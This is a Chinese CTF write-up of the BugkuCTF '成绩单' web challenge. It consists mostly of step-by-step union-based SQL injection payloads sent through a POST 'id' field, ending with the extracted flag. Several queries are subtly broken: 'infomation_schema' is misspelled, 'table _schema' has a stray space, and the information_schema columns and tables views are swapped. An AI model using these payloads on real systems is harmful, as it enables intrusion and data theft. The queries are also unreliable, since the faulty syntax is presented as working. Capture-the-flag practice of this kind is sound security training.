BugkuCTF-Web-成绩单输入1,2,3有回显,但是URL不变化,发现不是GET方法
BugkuCTF-Web-成绩单
查看源码知用POST方法传参,name为id
BugkuCTF-Web-成绩单
先用payload:id=1’ and ‘1’=‘1,发现正确执行,则存在注入点。
BugkuCTF-Web-成绩单
用order by语句判断字段个数:
id=-1’ order by 5# 显示不正常
id=-1’ order by 4# 显示正常,则有4个字段
字段精确位置:
BugkuCTF-Web-成绩单
id=-1’ union select 1,2,3,database() #
数据库名: skctf_flag

id=-1’ union select 1,2,3,table_name from infomation_schema.columns where table _schema = database() #
表名:fl4g

id=-1’ union select 1,2,3,column_name from infomation_schema.tables where table _name = ‘fl4g’ #
字段名: skctf_flag

id=-1’ union select 1,2,3,skctf_flag from fl4g #
字段内容: BUGKU{Sql_INJECT0N_4813drd8hz4}

相关文章:

  • 2022-01-04
  • 2021-05-17
  • 2021-10-31
  • 2021-12-18
  • 2021-10-27
  • 2021-09-27
  • 2021-10-10
猜你喜欢
  • 2021-09-08
  • 2021-08-29
  • 2021-08-19
  • 2021-05-17
  • 2021-10-01
  • 2021-10-11
  • 2022-12-23
相关资源
相似解决方案